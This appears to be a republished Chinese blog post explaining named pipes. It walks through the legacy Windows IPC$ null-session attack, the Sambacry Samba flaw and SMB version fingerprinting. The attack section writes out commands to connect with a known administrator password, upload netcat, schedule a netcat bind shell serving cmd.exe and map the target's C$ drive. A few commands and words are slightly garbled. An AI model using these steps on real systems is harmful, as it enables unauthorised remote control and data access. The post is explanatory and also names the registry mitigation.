大家好,欢迎来到IT知识分享网。
命名管道
定义
In computing, a named pipe (also known as a FIFO for its behavior) is an extension to the traditional pipe concept on Unix and Unix-like systems, and is one of the methods of inter-process communication(IPC). The concept is also found in OS/2 and Microsoft Windows, although the semantics differ substantially. A traditional pipe is”unnamed” and lasts only as long as the process. A named pipe, however, can last as long as the system is up, beyond the life of the process. It can be deleted if no longer used. Usually a named pipe appears as a file, and generally processes attach to it for IPC.
大义: 命名管道是一种传统管道的扩展,也是作为IPC(内部进程通信)方式的存在形式。那问题来了,什么是传统管道?传统管道是1.无名的,2. 持续时间跟进程生命周期相同。 而命名管道,不仅有自己的名字,而且生命周期可以跟系统时间一样长,远长于进程生命周期。不再使用的时候可以被删除。另一个问题来了,它长什么样?通常命名管道可以是一个文件,进程为了IPC(进程内部通信)attach这个文件。
应用
IPC$管道攻击
2000年左右的xp和windows server 2003时代,流行IPC$空连接攻击(匿名连接)。IPC$就是Windows版的共享”命名管道”资源,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此进行数据交换,实现对远程计算机的访问。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了IPC$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。还可以访问共享资源,并使用一些字典工具,进行密码探测,以至于获得更高的权限。
到这里,需要清楚的是,IPC$并不是漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(C$,D$,E$……)和系统目录winnt或windows(admin$)。
攻击原理
如果用户设置的口令较弱而被激活成功教程,那么通过建立IPC$连接的以下命令,攻击者就可以轻易地进入到系统中进行任意操作。
攻击步骤
一、建立IPC$管道
1.1 在命令行中输入
“cd \”” net use \192.168.1.3\ipc$ “Simplexue123” /user:Administrator ”,已知目标主机的账号(administrator)密码(Simplexue123),建立IPC$管道。
1.2 进入工具目录,利用copy命令上传nc文件
copy nc.exe \\192.168.1.3
1.3 查看远程主机时间。net time \\192.168.1.3
二、利用at命令定时运行nc程序
2.1 在命令行下利用at命令在目标机上建立NC计划任务。
at \\192.168.1.3 17:23 nc -1 -p 1234 -t -e cmd.exe
2.2 在nc任务到时间执行后,再命令行下连接目标主机。
telnet 192.168.1.3 1234
另外,在用户登录的前提下,把目标C盘等映射到本地的方法如下:
首先ping一下目标靶机,观察网络连通性。
然后执行 net use \ip “密码” /user:”登陆账户”命令建立IPC$连接
使用 net use z: \ip\c$ 命令,将目标靶机的C盘映射到本地z盘
可以看到命名管道作为传输文件的磁盘符存在。
当年的工具
Cain作为当年内网渗透神器,被广大人民群众所熟知。其中一个主要功能就是Network Enumerator,可以显现当前整个网络。它可以快速的识别出域控,SQL Servers,Printer Servers,Remote Access Dial-In Servers,Novell Servers,Apple File Servers,Terminal Server等等,同时还会展示可能的操作系统版本。
默认情况下 Cain 使用本地登录的用户名连接到远程主机的“IPC$”共享,若不能则使用空连接(匿名连接)。当列举用户名时,CAIN 也可提取它们的 SID(安全标识),并能鉴别出管理员(即使是改名了),这是通过查看帐号的 RID(SID 的最后部分)完成的,管理员的 RID 总是 500。
Windows NT和之后的版本增加了一条安全策略– 限制匿名用户(also known as NULL session connections)查看用户名和共享资源名称。方法是在注册表中设置”RestrictAnonymous” 为1:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
如果是遇到这样的限制,Cain是不能枚举出用户列表的, 程序会自动开启SID Scanner。
影响范围
Windows Server 2008, Windows XP, Windows 7, and Windows 8 默认是禁止匿名连接的,但是Windows 2000 Server 除外。
Sambacry远程代码执行漏洞(传送门)
漏洞原理
传文件的过程中服务器端误将文件资源 ” /path/to/evil.so” 当作IPC$(命名管道)资源加载运行,导致漏洞触发。
追溯原因
那么问题来了,is_known_pipename函数里为什么会把文件名但做命名管道加载呢?或者说我们反推出来,samba传文件
的命令有功能复用,参数可以是文件名,也可以是命名管道。
查看通信报文
根据sambacry的通信报文可以看出,samba用于传文件是通过一系列smb命令组合完成的:
1. 连接到目标主机(Open AndX Request),相当于TCP连接的3次握手;
2. 创建通信管道(Create AndX Request)
3. 传文件
查询手册
SMB_COM_NT_CREATE_ANDX (0xA2)
此命令在NT LAN Manager中引入。用来创建并打开一个新文件,或者打开一个已存在的文件,或打开并清空一个已存在的文件,或创建一个目录,或创建一个命名管道。
samba代码中,认为NT_CREATE_ANDX 命令的参数已”\”开头的时候,这个参数为命名管道,则开始加载相应的so服务。
NT_CREATE_ANDX应用
设备指纹识别
在windows2000的SP识别中:通过向远程主机发送NT_CREATE_ANDX Request(SMB命令为0xA2)数据包请求打开文件(文件名为\LLSRPC),得到NT_CREATE_ANDX Response数据包,如果响应数据包中SMB头部的Status字段为0,则表明目标系统的SP版本为”SP0-SP4”,否则为SP4。
在winxp的SP版本识别中,通过发送NT_CREATE_ANDX Request(SMB命令为0xA2)数据包请求打开文件(文件名为\SRVSVC),得到NT_CREATE_ANDX Response数据包。如果响应数据包中SMB的头部status字段为0,则标明目标系统的SP版本是SP) /SP1,否则为SP2/SP3,对于SP2/SP3的情况,进一步通过一系列的READ_ANDX、WRITE_ANDX、NT_CREATE_ANDX(文件名为\BROWSER)等报文的交互分析可以进行区分。
参考文献
http://www.dummies.com/programming/networking/null-session-attacks-and-how-to-avoid-them/
https://bbs.pediy.com/thread-222802.htm
https://www.jianshu.com/p/a578db79e117
http://www.oxid.it/ca_um/topics/network_enumerator.htm
https://www.cnblogs.com/liun1994/p/6416856.html
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/27483.html